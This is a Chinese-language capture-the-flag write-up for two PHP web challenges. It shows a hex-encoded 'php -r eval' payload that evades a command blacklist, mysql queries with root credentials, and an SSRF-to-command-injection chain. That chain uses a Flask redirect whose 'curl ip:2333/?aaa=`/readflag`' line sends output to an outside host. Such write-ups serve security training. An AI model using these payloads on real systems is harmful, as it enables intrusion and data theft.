simple_php

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
         system($cmd);
}
}


show_source(__FILE__);
?>

过滤了很多很多命令

这里有个escapeshellcmd 把特殊符号给转义了 来防止使用特殊参数来进行命令执行

规则是

单引号 ('):转义为 \'。
双引号 ("):转义为 \"。
反斜杠 (\):转义为 \\。
美元符号 ($):转义为 \$。
反引号 (`):转义为 ``````。
感叹号 (!):转义为 \!。
分号 (;):转义为 \;。
大于号 (>):转义为 \>。
小于号 (<):转义为 \<。
垂直线 (|):转义为 \|。
与号 (&):转义为 \&。
空格 ( ):转义为 \ 。

所以很多绕过方法都不管用了

这里没有过滤php -r 可以用这个来试试

先写个php来转换要的命令

<?php
$a= "echo `命令`";
$b= bin2hex();
echo $b;
?>

试试

system('ls /');

//运行出来就是: 6563686f2073797374656d28276c73202f27293b

再post传入

cmd=php -r eval(hex2bin(substr(a6563686f2073797374656d28276c73202f27293b,1)));
//1是从第一个后面开始,所以随便在第一位写个东西 我写的是a

成功

但是没有找到flag

但是在passwd里找到了mysql

感觉只能在数据库里找了

echo `mysql -u root -p'root' -e 'show databases;'`;
//6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27603b

列表名

echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;
//6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b27603

查目录

echo `mysql -u 'root' -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;
//6563686f20606d7973716c202d752027726f6f7427202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b

得到flag

eazycms

提示给到:

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
   echo "Just input 'cmd' From 127.0.0.1";
   return;
}else{a
   system($_GET['cmd']);
}

并且在flag.php里发现

猜测是ssrf 让去github找源码 并且用disearch扫一下

在官方的漏洞文档里找到一个ssrf的

全局搜索发现:

public function qrcode() {

        $value = urldecode(\Phpcmf\Service::L('input')->get('text'));
        $thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
        $matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
        $errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));

        //生成二维码图片
        require_once CMSPATH.'Library/Phpqrcode.php';
        $file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
        if (is_file($file)) {
            $QR = imagecreatefrompng($file);
        } else {
            \QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
            $QR = imagecreatefromstring(file_get_contents($file));
            if ($thumb) {
                $logo = imagecreatefromstring(dr_catcher_data($thumb));
                $QR_width = imagesx($QR);//二维码图片宽度
                $QR_height = imagesy($QR);//二维码图片高度
                $logo_width = imagesx($logo);//logo图片宽度
                $logo_height = imagesy($logo);//logo图片高度
                $logo_qr_width = $QR_width / 4;
                $scale = $logo_width/$logo_qr_width;
                $logo_qr_height = $logo_height/$scale;
                $from_width = ($QR_width - $logo_qr_width) / 2;
                //重新组合图片并调整大小
                imagecopyresampled($QR, $logo, $from_width, $from_width, 0, 0, $logo_qr_width, $logo_qr_height, $logo_width, $logo_height);
                imagepng($QR, $file);

发现了dr_catcher_data且可控 去找这个函数的定义

看到了curl

去构造302跳转

起个flask服务

理论上是可以弹shell的 但是可能是ctfshow环境问题,连上就断了 所以只能利用外带来实现了获得flag了

/readflag是看wp知道的

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def index():
    return redirect("http://127.0.0.1/flag.php?cmd=curl ip:2333/?aaa=`/readflag`")

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=7781)

这里外带出来是没有{}的 手动加上